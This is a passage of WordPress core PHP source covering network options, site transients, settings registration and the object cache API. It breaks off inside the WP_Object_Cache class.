$value = maybe_unserialize( $value );
wp_cache_set( $cache_key, $value, 'site-options' );
} else {
if ( ! is_array( $notoptions ) ) {
$notoptions = array();
}
$notoptions[ $option ] = true;
wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
/** This filter is documented in wp-includes/option.php */
$value = apply_filters( 'default_site_option_' . $option, $default, $option, $network_id );
}
}
}
if ( ! is_array( $notoptions ) ) {
$notoptions = array();
wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
}
/**
* Filters the value of an existing network option.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.9.0 As 'site_option_' . $key
* @since 3.0.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param mixed $value Value of network option.
* @param string $option Option name.
* @param int $network_id ID of the network.
*/
return apply_filters( "site_option_{$option}", $value, $option, $network_id );
}
/**
* Add a new network option.
*
* Existing options will not be updated.
*
* @since 4.4.0
*
* @see add_option()
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $network_id ID of the network. Can be null to default to the current network ID.
* @param string $option Name of option to add. Expected to not be SQL-escaped.
* @param mixed $value Option value, can be anything. Expected to not be SQL-escaped.
* @return bool False if option was not added and true if option was added.
*/
function add_network_option( $network_id, $option, $value ) {
global $wpdb;
if ( $network_id && ! is_numeric( $network_id ) ) {
return false;
}
$network_id = (int) $network_id;
// Fallback to the current network if a network ID is not specified.
if ( ! $network_id ) {
$network_id = get_current_network_id();
}
wp_protect_special_option( $option );
/**
* Filters the value of a specific network option before it is added.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.9.0 As 'pre_add_site_option_' . $key
* @since 3.0.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param mixed $value Value of network option.
* @param string $option Option name.
* @param int $network_id ID of the network.
*/
$value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id );
$notoptions_key = "$network_id:notoptions";
if ( ! is_multisite() ) {
$result = add_option( $option, $value, '', 'no' );
} else {
$cache_key = "$network_id:$option";
// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
if ( false !== get_network_option( $network_id, $option, false ) ) {
return false;
}
}
$value = sanitize_option( $option, $value );
$serialized_value = maybe_serialize( $value );
$result = $wpdb->insert(
$wpdb->sitemeta,
array(
'site_id' => $network_id,
'meta_key' => $option,
'meta_value' => $serialized_value,
)
);
if ( ! $result ) {
return false;
}
wp_cache_set( $cache_key, $value, 'site-options' );
// This option exists now
$notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // yes, again... we need it to be fresh
if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
unset( $notoptions[ $option ] );
wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
}
}
if ( $result ) {
/**
* Fires after a specific network option has been successfully added.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.9.0 As "add_site_option_{$key}"
* @since 3.0.0
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Name of the network option.
* @param mixed $value Value of the network option.
* @param int $network_id ID of the network.
*/
do_action( "add_site_option_{$option}", $option, $value, $network_id );
/**
* Fires after a network option has been successfully added.
*
* @since 3.0.0
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Name of the network option.
* @param mixed $value Value of the network option.
* @param int $network_id ID of the network.
*/
do_action( 'add_site_option', $option, $value, $network_id );
return true;
}
return false;
}
/**
* Removes a network option by name.
*
* @since 4.4.0
*
* @see delete_option()
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $network_id ID of the network. Can be null to default to the current network ID.
* @param string $option Name of option to remove. Expected to not be SQL-escaped.
* @return bool True, if succeed. False, if failure.
*/
function delete_network_option( $network_id, $option ) {
global $wpdb;
if ( $network_id && ! is_numeric( $network_id ) ) {
return false;
}
$network_id = (int) $network_id;
// Fallback to the current network if a network ID is not specified.
if ( ! $network_id ) {
$network_id = get_current_network_id();
}
/**
* Fires immediately before a specific network option is deleted.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 3.0.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Option name.
* @param int $network_id ID of the network.
*/
do_action( "pre_delete_site_option_{$option}", $option, $network_id );
if ( ! is_multisite() ) {
$result = delete_option( $option );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
if ( is_null( $row ) || ! $row->meta_id ) {
return false;
}
$cache_key = "$network_id:$option";
wp_cache_delete( $cache_key, 'site-options' );
$result = $wpdb->delete(
$wpdb->sitemeta,
array(
'meta_key' => $option,
'site_id' => $network_id,
)
);
}
if ( $result ) {
/**
* Fires after a specific network option has been deleted.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.9.0 As "delete_site_option_{$key}"
* @since 3.0.0
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Name of the network option.
* @param int $network_id ID of the network.
*/
do_action( "delete_site_option_{$option}", $option, $network_id );
/**
* Fires after a network option has been deleted.
*
* @since 3.0.0
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Name of the network option.
* @param int $network_id ID of the network.
*/
do_action( 'delete_site_option', $option, $network_id );
return true;
}
return false;
}
/**
* Update the value of a network option that was already added.
*
* @since 4.4.0
*
* @see update_option()
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $network_id ID of the network. Can be null to default to the current network ID.
* @param string $option Name of option. Expected to not be SQL-escaped.
* @param mixed $value Option value. Expected to not be SQL-escaped.
* @return bool False if value was not updated and true if value was updated.
*/
function update_network_option( $network_id, $option, $value ) {
global $wpdb;
if ( $network_id && ! is_numeric( $network_id ) ) {
return false;
}
$network_id = (int) $network_id;
// Fallback to the current network if a network ID is not specified.
if ( ! $network_id ) {
$network_id = get_current_network_id();
}
wp_protect_special_option( $option );
$old_value = get_network_option( $network_id, $option, false );
/**
* Filters a specific network option before its value is updated.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.9.0 As 'pre_update_site_option_' . $key
* @since 3.0.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param mixed $value New value of the network option.
* @param mixed $old_value Old value of the network option.
* @param string $option Option name.
* @param int $network_id ID of the network.
*/
$value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id );
/*
* If the new and old values are the same, no need to update.
*
* Unserialized values will be adequate in most cases. If the unserialized
* data differs, the (maybe) serialized data is checked to avoid
* unnecessary database calls for otherwise identical object instances.
*
* See https://core.trac.wordpress.org/ticket/44956
*/
if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
return false;
}
if ( false === $old_value ) {
return add_network_option( $network_id, $option, $value );
}
$notoptions_key = "$network_id:notoptions";
$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
unset( $notoptions[ $option ] );
wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
}
if ( ! is_multisite() ) {
$result = update_option( $option, $value, 'no' );
} else {
$value = sanitize_option( $option, $value );
$serialized_value = maybe_serialize( $value );
$result = $wpdb->update(
$wpdb->sitemeta,
array( 'meta_value' => $serialized_value ),
array(
'site_id' => $network_id,
'meta_key' => $option,
)
);
if ( $result ) {
$cache_key = "$network_id:$option";
wp_cache_set( $cache_key, $value, 'site-options' );
}
}
if ( $result ) {
/**
* Fires after the value of a specific network option has been successfully updated.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.9.0 As "update_site_option_{$key}"
* @since 3.0.0
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Name of the network option.
* @param mixed $value Current value of the network option.
* @param mixed $old_value Old value of the network option.
* @param int $network_id ID of the network.
*/
do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id );
/**
* Fires after the value of a network option has been successfully updated.
*
* @since 3.0.0
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param string $option Name of the network option.
* @param mixed $value Current value of the network option.
* @param mixed $old_value Old value of the network option.
* @param int $network_id ID of the network.
*/
do_action( 'update_site_option', $option, $value, $old_value, $network_id );
return true;
}
return false;
}
/**
* Delete a site transient.
*
* @since 2.9.0
*
* @param string $transient Transient name. Expected to not be SQL-escaped.
* @return bool True if successful, false otherwise
*/
function delete_site_transient( $transient ) {
/**
* Fires immediately before a specific site transient is deleted.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 3.0.0
*
* @param string $transient Transient name.
*/
do_action( "delete_site_transient_{$transient}", $transient );
if ( wp_using_ext_object_cache() ) {
$result = wp_cache_delete( $transient, 'site-transient' );
} else {
$option_timeout = '_site_transient_timeout_' . $transient;
$option = '_site_transient_' . $transient;
$result = delete_site_option( $option );
if ( $result ) {
delete_site_option( $option_timeout );
}
}
if ( $result ) {
/**
* Fires after a transient is deleted.
*
* @since 3.0.0
*
* @param string $transient Deleted transient name.
*/
do_action( 'deleted_site_transient', $transient );
}
return $result;
}
/**
* Get the value of a site transient.
*
* If the transient does not exist, does not have a value, or has expired,
* then the return value will be false.
*
* @since 2.9.0
*
* @see get_transient()
*
* @param string $transient Transient name. Expected to not be SQL-escaped.
* @return mixed Value of transient.
*/
function get_site_transient( $transient ) {
/**
* Filters the value of an existing site transient.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* Passing a truthy value to the filter will effectively short-circuit retrieval,
* returning the passed value instead.
*
* @since 2.9.0
* @since 4.4.0 The `$transient` parameter was added.
*
* @param mixed $pre_site_transient The default value to return if the site transient does not exist.
* Any value other than false will short-circuit the retrieval
* of the transient, and return the returned value.
* @param string $transient Transient name.
*/
$pre = apply_filters( "pre_site_transient_{$transient}", false, $transient );
if ( false !== $pre ) {
return $pre;
}
if ( wp_using_ext_object_cache() ) {
$value = wp_cache_get( $transient, 'site-transient' );
} else {
// Core transients that do not have a timeout. Listed here so querying timeouts can be avoided.
$no_timeout = array( 'update_core', 'update_plugins', 'update_themes' );
$transient_option = '_site_transient_' . $transient;
if ( ! in_array( $transient, $no_timeout ) ) {
$transient_timeout = '_site_transient_timeout_' . $transient;
$timeout = get_site_option( $transient_timeout );
if ( false !== $timeout && $timeout < time() ) {
delete_site_option( $transient_option );
delete_site_option( $transient_timeout );
$value = false;
}
}
if ( ! isset( $value ) ) {
$value = get_site_option( $transient_option );
}
}
/**
* Filters the value of an existing site transient.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 2.9.0
* @since 4.4.0 The `$transient` parameter was added.
*
* @param mixed $value Value of site transient.
* @param string $transient Transient name.
*/
return apply_filters( "site_transient_{$transient}", $value, $transient );
}
/**
* Set/update the value of a site transient.
*
* You do not need to serialize values, if the value needs to be serialize, then
* it will be serialized before it is set.
*
* @since 2.9.0
*
* @see set_transient()
*
* @param string $transient Transient name. Expected to not be SQL-escaped. Must be
* 167 characters or fewer in length.
* @param mixed $value Transient value. Expected to not be SQL-escaped.
* @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
* @return bool False if value was not set and true if value was set.
*/
function set_site_transient( $transient, $value, $expiration = 0 ) {
/**
* Filters the value of a specific site transient before it is set.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 3.0.0
* @since 4.4.0 The `$transient` parameter was added.
*
* @param mixed $value New value of site transient.
* @param string $transient Transient name.
*/
$value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient );
$expiration = (int) $expiration;
/**
* Filters the expiration for a site transient before its value is set.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 4.4.0
*
* @param int $expiration Time until expiration in seconds. Use 0 for no expiration.
* @param mixed $value New value of site transient.
* @param string $transient Transient name.
*/
$expiration = apply_filters( "expiration_of_site_transient_{$transient}", $expiration, $value, $transient );
if ( wp_using_ext_object_cache() ) {
$result = wp_cache_set( $transient, $value, 'site-transient', $expiration );
} else {
$transient_timeout = '_site_transient_timeout_' . $transient;
$option = '_site_transient_' . $transient;
if ( false === get_site_option( $option ) ) {
if ( $expiration ) {
add_site_option( $transient_timeout, time() + $expiration );
}
$result = add_site_option( $option, $value );
} else {
if ( $expiration ) {
update_site_option( $transient_timeout, time() + $expiration );
}
$result = update_site_option( $option, $value );
}
}
if ( $result ) {
/**
* Fires after the value for a specific site transient has been set.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 3.0.0
* @since 4.4.0 The `$transient` parameter was added
*
* @param mixed $value Site transient value.
* @param int $expiration Time until expiration in seconds.
* @param string $transient Transient name.
*/
do_action( "set_site_transient_{$transient}", $value, $expiration, $transient );
/**
* Fires after the value for a site transient has been set.
*
* @since 3.0.0
*
* @param string $transient The name of the site transient.
* @param mixed $value Site transient value.
* @param int $expiration Time until expiration in seconds.
*/
do_action( 'setted_site_transient', $transient, $value, $expiration );
}
return $result;
}
/**
* Register default settings available in WordPress.
*
* The settings registered here are primarily useful for the REST API, so this
* does not encompass all settings available in WordPress.
*
* @since 4.7.0
*/
function register_initial_settings() {
register_setting(
'general',
'blogname',
array(
'show_in_rest' => array(
'name' => 'title',
),
'type' => 'string',
'description' => __( 'Site title.' ),
)
);
register_setting(
'general',
'blogdescription',
array(
'show_in_rest' => array(
'name' => 'description',
),
'type' => 'string',
'description' => __( 'Site tagline.' ),
)
);
if ( ! is_multisite() ) {
register_setting(
'general',
'siteurl',
array(
'show_in_rest' => array(
'name' => 'url',
'schema' => array(
'format' => 'uri',
),
),
'type' => 'string',
'description' => __( 'Site URL.' ),
)
);
}
if ( ! is_multisite() ) {
register_setting(
'general',
'admin_email',
array(
'show_in_rest' => array(
'name' => 'email',
'schema' => array(
'format' => 'email',
),
),
'type' => 'string',
'description' => __( 'This address is used for admin purposes, like new user notification.' ),
)
);
}
register_setting(
'general',
'timezone_string',
array(
'show_in_rest' => array(
'name' => 'timezone',
),
'type' => 'string',
'description' => __( 'A city in the same timezone as you.' ),
)
);
register_setting(
'general',
'date_format',
array(
'show_in_rest' => true,
'type' => 'string',
'description' => __( 'A date format for all date strings.' ),
)
);
register_setting(
'general',
'time_format',
array(
'show_in_rest' => true,
'type' => 'string',
'description' => __( 'A time format for all time strings.' ),
)
);
register_setting(
'general',
'start_of_week',
array(
'show_in_rest' => true,
'type' => 'integer',
'description' => __( 'A day number of the week that the week should start on.' ),
)
);
register_setting(
'general',
'WPLANG',
array(
'show_in_rest' => array(
'name' => 'language',
),
'type' => 'string',
'description' => __( 'WordPress locale code.' ),
'default' => 'en_US',
)
);
register_setting(
'writing',
'use_smilies',
array(
'show_in_rest' => true,
'type' => 'boolean',
'description' => __( 'Convert emoticons like :-) and :-P to graphics on display.' ),
'default' => true,
)
);
register_setting(
'writing',
'default_category',
array(
'show_in_rest' => true,
'type' => 'integer',
'description' => __( 'Default post category.' ),
)
);
register_setting(
'writing',
'default_post_format',
array(
'show_in_rest' => true,
'type' => 'string',
'description' => __( 'Default post format.' ),
)
);
register_setting(
'reading',
'posts_per_page',
array(
'show_in_rest' => true,
'type' => 'integer',
'description' => __( 'Blog pages show at most.' ),
'default' => 10,
)
);
register_setting(
'discussion',
'default_ping_status',
array(
'show_in_rest' => array(
'schema' => array(
'enum' => array( 'open', 'closed' ),
),
),
'type' => 'string',
'description' => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ),
)
);
register_setting(
'discussion',
'default_comment_status',
array(
'show_in_rest' => array(
'schema' => array(
'enum' => array( 'open', 'closed' ),
),
),
'type' => 'string',
'description' => __( 'Allow people to post comments on new articles.' ),
)
);
}
/**
* Register a setting and its data.
*
* @since 2.7.0
* @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`.
*
* @global array $new_whitelist_options
* @global array $wp_registered_settings
*
* @param string $option_group A settings group name. Should correspond to a whitelisted option key name.
* Default whitelisted option key names include "general," "discussion," and "reading," among others.
* @param string $option_name The name of an option to sanitize and save.
* @param array $args {
* Data used to describe the setting when registered.
*
* @type string $type The type of data associated with this setting.
* Valid values are 'string', 'boolean', 'integer', and 'number'.
* @type string $description A description of the data attached to this setting.
* @type callable $sanitize_callback A callback function that sanitizes the option's value.
* @type bool $show_in_rest Whether data associated with this setting should be included in the REST API.
* @type mixed $default Default value when calling `get_option()`.
* }
*/
function register_setting( $option_group, $option_name, $args = array() ) {
global $new_whitelist_options, $wp_registered_settings;
$defaults = array(
'type' => 'string',
'group' => $option_group,
'description' => '',
'sanitize_callback' => null,
'show_in_rest' => false,
);
// Back-compat: old sanitize callback is added.
if ( is_callable( $args ) ) {
$args = array(
'sanitize_callback' => $args,
);
}
/**
* Filters the registration arguments when registering a setting.
*
* @since 4.7.0
*
* @param array $args Array of setting registration arguments.
* @param array $defaults Array of default arguments.
* @param string $option_group Setting group.
* @param string $option_name Setting name.
*/
$args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name );
$args = wp_parse_args( $args, $defaults );
if ( ! is_array( $wp_registered_settings ) ) {
$wp_registered_settings = array();
}
if ( 'misc' == $option_group ) {
_deprecated_argument(
__FUNCTION__,
'3.0.0',
/* translators: %s: misc */
sprintf(
__( 'The "%s" options group has been removed. Use another settings group.' ),
'misc'
)
);
$option_group = 'general';
}
if ( 'privacy' == $option_group ) {
_deprecated_argument(
__FUNCTION__,
'3.5.0',
/* translators: %s: privacy */
sprintf(
__( 'The "%s" options group has been removed. Use another settings group.' ),
'privacy'
)
);
$option_group = 'reading';
}
$new_whitelist_options[ $option_group ][] = $option_name;
if ( ! empty( $args['sanitize_callback'] ) ) {
add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] );
}
if ( array_key_exists( 'default', $args ) ) {
add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 );
}
$wp_registered_settings[ $option_name ] = $args;
}
/**
* Unregister a setting.
*
* @since 2.7.0
* @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead.
*
* @global array $new_whitelist_options
* @global array $wp_registered_settings
*
* @param string $option_group The settings group name used during registration.
* @param string $option_name The name of the option to unregister.
* @param callable $deprecated Deprecated.
*/
function unregister_setting( $option_group, $option_name, $deprecated = '' ) {
global $new_whitelist_options, $wp_registered_settings;
if ( 'misc' == $option_group ) {
_deprecated_argument(
__FUNCTION__,
'3.0.0',
/* translators: %s: misc */
sprintf(
__( 'The "%s" options group has been removed. Use another settings group.' ),
'misc'
)
);
$option_group = 'general';
}
if ( 'privacy' == $option_group ) {
_deprecated_argument(
__FUNCTION__,
'3.5.0',
/* translators: %s: privacy */
sprintf(
__( 'The "%s" options group has been removed. Use another settings group.' ),
'privacy'
)
);
$option_group = 'reading';
}
$pos = array_search( $option_name, (array) $new_whitelist_options[ $option_group ] );
if ( $pos !== false ) {
unset( $new_whitelist_options[ $option_group ][ $pos ] );
}
if ( '' !== $deprecated ) {
_deprecated_argument(
__FUNCTION__,
'4.7.0',
/* translators: 1: $sanitize_callback, 2: register_setting() */
sprintf(
__( '%1$s is deprecated. The callback from %2$s is used instead.' ),
'$sanitize_callback
',
'register_setting()
'
)
);
remove_filter( "sanitize_option_{$option_name}", $deprecated );
}
if ( isset( $wp_registered_settings[ $option_name ] ) ) {
// Remove the sanitize callback if one was set during registration.
if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) {
remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] );
}
// Remove the default filter if a default was provided during registration.
if ( array_key_exists( 'default', $wp_registered_settings[ $option_name ] ) ) {
remove_filter( "default_option_{$option_name}", 'filter_default_option', 10 );
}
unset( $wp_registered_settings[ $option_name ] );
}
}
/**
* Retrieves an array of registered settings.
*
* @since 4.7.0
*
* @global array $wp_registered_settings
*
* @return array List of registered settings, keyed by option name.
*/
function get_registered_settings() {
global $wp_registered_settings;
if ( ! is_array( $wp_registered_settings ) ) {
return array();
}
return $wp_registered_settings;
}
/**
* Filter the default value for the option.
*
* For settings which register a default setting in `register_setting()`, this
* function is added as a filter to `default_option_{$option}`.
*
* @since 4.7.0
*
* @param mixed $default Existing default value to return.
* @param string $option Option name.
* @param bool $passed_default Was `get_option()` passed a default value?
* @return mixed Filtered default value.
*/
function filter_default_option( $default, $option, $passed_default ) {
if ( $passed_default ) {
return $default;
}
$registered = get_registered_settings();
if ( empty( $registered[ $option ] ) ) {
return $default;
}
return $registered[ $option ]['default'];
}
/**
* Object Cache API
*
* @link https://codex.wordpress.org/Class_Reference/WP_Object_Cache
*
* @package WordPress
* @subpackage Cache
*/
/**
* Adds data to the cache, if the cache key doesn't already exist.
*
* @since 2.0.0
*
* @see WP_Object_Cache::add()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The cache key to use for retrieval later.
* @param mixed $data The data to add to the cache.
* @param string $group Optional. The group to add the cache to. Enables the same key
* to be used across groups. Default empty.
* @param int $expire Optional. When the cache data should expire, in seconds.
* Default 0 (no expiration).
* @return bool False if cache key and group already exist, true on success.
*/
function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->add( $key, $data, $group, (int) $expire );
}
/**
* Closes the cache.
*
* This function has ceased to do anything since WordPress 2.5. The
* functionality was removed along with the rest of the persistent cache.
*
* This does not mean that plugins can't implement this function when they need
* to make sure that the cache is cleaned up after WordPress no longer needs it.
*
* @since 2.0.0
*
* @return true Always returns true.
*/
function wp_cache_close() {
return true;
}
/**
* Decrements numeric cache item's value.
*
* @since 3.3.0
*
* @see WP_Object_Cache::decr()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The cache key to decrement.
* @param int $offset Optional. The amount by which to decrement the item's value. Default 1.
* @param string $group Optional. The group the key is in. Default empty.
* @return false|int False on failure, the item's new value on success.
*/
function wp_cache_decr( $key, $offset = 1, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->decr( $key, $offset, $group );
}
/**
* Removes the cache contents matching key and group.
*
* @since 2.0.0
*
* @see WP_Object_Cache::delete()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key What the contents in the cache are called.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @return bool True on successful removal, false on failure.
*/
function wp_cache_delete( $key, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->delete( $key, $group );
}
/**
* Removes all cache items.
*
* @since 2.0.0
*
* @see WP_Object_Cache::flush()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @return bool False on failure, true on success
*/
function wp_cache_flush() {
global $wp_object_cache;
return $wp_object_cache->flush();
}
/**
* Retrieves the cache contents from the cache by key and group.
*
* @since 2.0.0
*
* @see WP_Object_Cache::get()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The key under which the cache contents are stored.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @param bool $force Optional. Whether to force an update of the local cache from the persistent
* cache. Default false.
* @param bool $found Optional. Whether the key was found in the cache (passed by reference).
* Disambiguates a return of false, a storable value. Default null.
* @return bool|mixed False on failure to retrieve contents or the cache
* contents on success
*/
function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
global $wp_object_cache;
return $wp_object_cache->get( $key, $group, $force, $found );
}
/**
* Increment numeric cache item's value
*
* @since 3.3.0
*
* @see WP_Object_Cache::incr()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The key for the cache contents that should be incremented.
* @param int $offset Optional. The amount by which to increment the item's value. Default 1.
* @param string $group Optional. The group the key is in. Default empty.
* @return false|int False on failure, the item's new value on success.
*/
function wp_cache_incr( $key, $offset = 1, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->incr( $key, $offset, $group );
}
/**
* Sets up Object Cache Global and assigns it.
*
* @since 2.0.0
*
* @global WP_Object_Cache $wp_object_cache
*/
function wp_cache_init() {
$GLOBALS['wp_object_cache'] = new WP_Object_Cache();
}
/**
* Replaces the contents of the cache with new data.
*
* @since 2.0.0
*
* @see WP_Object_Cache::replace()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The key for the cache data that should be replaced.
* @param mixed $data The new data to store in the cache.
* @param string $group Optional. The group for the cache data that should be replaced.
* Default empty.
* @param int $expire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool False if original value does not exist, true if contents were replaced
*/
function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
}
/**
* Saves the data to the cache.
*
* Differs from wp_cache_add() and wp_cache_replace() in that it will always write data.
*
* @since 2.0.0
*
* @see WP_Object_Cache::set()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The cache key to use for retrieval later.
* @param mixed $data The contents to store in the cache.
* @param string $group Optional. Where to group the cache contents. Enables the same key
* to be used across groups. Default empty.
* @param int $expire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool False on failure, true on success
*/
function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->set( $key, $data, $group, (int) $expire );
}
/**
* Switches the internal blog ID.
*
* This changes the blog id used to create keys in blog specific groups.
*
* @since 3.5.0
*
* @see WP_Object_Cache::switch_to_blog()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int $blog_id Site ID.
*/
function wp_cache_switch_to_blog( $blog_id ) {
global $wp_object_cache;
$wp_object_cache->switch_to_blog( $blog_id );
}
/**
* Adds a group or set of groups to the list of global groups.
*
* @since 2.6.0
*
* @see WP_Object_Cache::add_global_groups()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param string|array $groups A group or an array of groups to add.
*/
function wp_cache_add_global_groups( $groups ) {
global $wp_object_cache;
$wp_object_cache->add_global_groups( $groups );
}
/**
* Adds a group or set of groups to the list of non-persistent groups.
*
* @since 2.6.0
*
* @param string|array $groups A group or an array of groups to add.
*/
function wp_cache_add_non_persistent_groups( $groups ) {
// Default cache doesn't persist so nothing to do here.
}
/**
* Reset internal cache keys and structures.
*
* If the cache back end uses global blog or site IDs as part of its cache keys,
* this function instructs the back end to reset those keys and perform any cleanup
* since blog or site IDs have changed since cache init.
*
* This function is deprecated. Use wp_cache_switch_to_blog() instead of this
* function when preparing the cache for a blog switch. For clearing the cache
* during unit tests, consider using wp_cache_init(). wp_cache_init() is not
* recommended outside of unit tests as the performance penalty for using it is
* high.
*
* @since 2.6.0
* @deprecated 3.5.0 WP_Object_Cache::reset()
* @see WP_Object_Cache::reset()
*
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*/
function wp_cache_reset() {
_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::reset()' );
global $wp_object_cache;
$wp_object_cache->reset();
}
/**
* Core class that implements an object cache.
*
* The WordPress Object Cache is used to save on trips to the database. The
* Object Cache stores all of the cache data to memory and makes the cache
* contents available by using a key, which is used to name and later retrieve
* the cache contents.
*
* The Object Cache can be replaced by other caching mechanisms by placing files
* in the wp-content folder which is looked at in wp-settings. If that file
* exists, then this file will not be included.
*
* @since 2.0.0
*/
class WP_Object_Cache {
/**
* Holds the cached objects.
*
* @since 2.0.0
* @var array
*/
private $cache = array();
/**
* The amount of times the cache data was already stored in the cache.
*
* @since 2.5.0
* @var int
*/
public $cache_hits = 0;
/**
* Amount of times the cache did not have the request in cache.
*
* @since 2.0.0
* @var int
*/
public $cache_misses = 0;
/**
* List of global cache groups.
*
* @since 3.0.0
* @var array
*/
protected $global_groups = array();
/**
* The blog prefix to prepend to keys in non-global groups.
*
* @since 3.5.0
* @var string
*/
private $blog_prefix;
/**
* Holds the value of is_multisite().
*
* @since 3.5.0
* @var bool
*/
private $multisite;
/**
* Makes private properties readable for backward compatibility.
*
* @since 4.0.0
*
* @param string $name Property to get.
* @return mixed Property.
*/
public function __get( $name ) {
return $this->$name;
}
/**
* Makes private properties settable for backward compatibility.
*
* @since 4.0.0
*
* @param string $name Property to set.
* @param mixed $value Property value.
* @return mixed Newly-set property.
*/
public function __set( $name, $value ) {
return $this->$name = $value;
}
/**
* Makes private properties checkable for backward compatibility.
*
* @since 4.0.0
*
* @param string $name Property to check if set.
* @return bool Whether the property is set.
*/
public function __isset( $name ) {
return isset( $this->$name );
}
/**
* Makes private properties un-settable for backward compatibility.
*
* @since 4.0.0
*
* @param string $name Property to unset.
*/
public function __unset( $name ) {
unset( $this->$name );
}
/**
* Adds data to the cache if it doesn't already exist.
*
* @since 2.0.0
*
* @uses WP_Object_Cache::_exists() Checks to see if the cache already has data.
* @uses WP_Object_Cache::set() Sets the data after the checking the cache
* contents existence.
*
* @param int|string $key What to call the contents in the cache.
* @param mixed $data The contents to store in the cache.
* @param string $group Optional. Where to group the cache contents. Default 'default'.
* @param int $expire Optional. When to expire the cache contents. Default 0 (no expiration).
* @return bool False if cache key and group already exist, true on success
*/
public function add( $key, $data, $group = 'default', $expire = 0 ) {
if ( wp_suspend_cache_addition() ) {
return false;
}
if ( empty( $group ) ) {
$group = 'default';
}
$id = $key;
if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
$id = $this->blog_prefix . $key;
}
if ( $this->_exists( $id, $group ) ) {
return false;
}
return $this->set( $key, $data, $group, (int) $expire );
}
/**
* Sets the list of global cache groups.
*
* @since 3.0.0
*
